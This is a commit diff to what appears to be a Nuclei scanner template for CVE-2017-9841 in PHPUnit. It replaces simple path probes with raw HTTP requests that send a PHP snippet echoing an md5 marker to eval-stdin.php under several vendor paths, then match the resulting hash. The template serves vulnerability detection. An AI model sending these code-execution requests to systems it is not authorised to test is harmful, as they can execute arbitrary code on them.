Update CVE-2017-9841.yaml

patch-1
sandeep 2021-07-04 15:50:15 +05:30
parent 3a72926d54
commit 13a5215bda
1 changed files with 84 additions and 16 deletions

View File

@ -2,34 +2,102 @@ id: CVE-2017-9841
info: info:
name: CVE-2017-9841 name: CVE-2017-9841
author: Random_Robbie author: Random_Robbie,pikpikcu
severity: high severity: high
description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
tags: cve,cve2017,php,phpunit,rce tags: cve,cve2017,php,phpunit,rce
reference: | reference: |
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841 - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
- https://github.com/RandomRobbieBF/phpunit-brute - https://github.com/RandomRobbieBF/phpunit-brute
- https://thephp.cc/articles/phpunit-a-security-risk
- https://twitter.com/sec715/status/1411517028012158976
requests: requests:
- method: GET
path: - raw:
- "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit" - |
- "{{BaseURL}}/vendor/phpunit/phpunit/phpunit" GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
- "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit" Host: {{Hostname}}
- "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit" User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
- "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit" Connection: close
- "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit" Content-Length: 17
- "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit" Accept: */*
- "{{BaseURL}}/lib/phpunit/phpunit/phpunit" Accept-Language: en
- "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit" Content-Type: text/html
- "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit" Accept-Encoding: gzip, deflate
- "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit" <?php echo md5(phpunit_rce);?>
- |
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 17
Accept: */*
Accept-Language: en
Content-Type: text/html
Accept-Encoding: gzip, deflate
<?php echo md5(phpunit_rce);?>
- |
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 17
Accept: */*
Accept-Language: en
Content-Type: text/html
Accept-Encoding: gzip, deflate
<?php echo md5(phpunit_rce);?>
- |
GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 17
Accept: */*
Accept-Language: en
Content-Type: text/html
Accept-Encoding: gzip, deflate
<?php echo md5(phpunit_rce);?>
- |
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 17
Accept: */*
Accept-Language: en
Content-Type: text/html
Accept-Encoding: gzip, deflate
<?php echo md5(phpunit_rce);?>
- |
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 17
Accept: */*
Accept-Language: en
Content-Type: text/html
Accept-Encoding: gzip, deflate
<?php echo md5(phpunit_rce);?>
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
words: words:
- "this version of phpunit requires php 5" - "6dd70f16549456495373a337e6708865"
part: body part: body
- type: status - type: status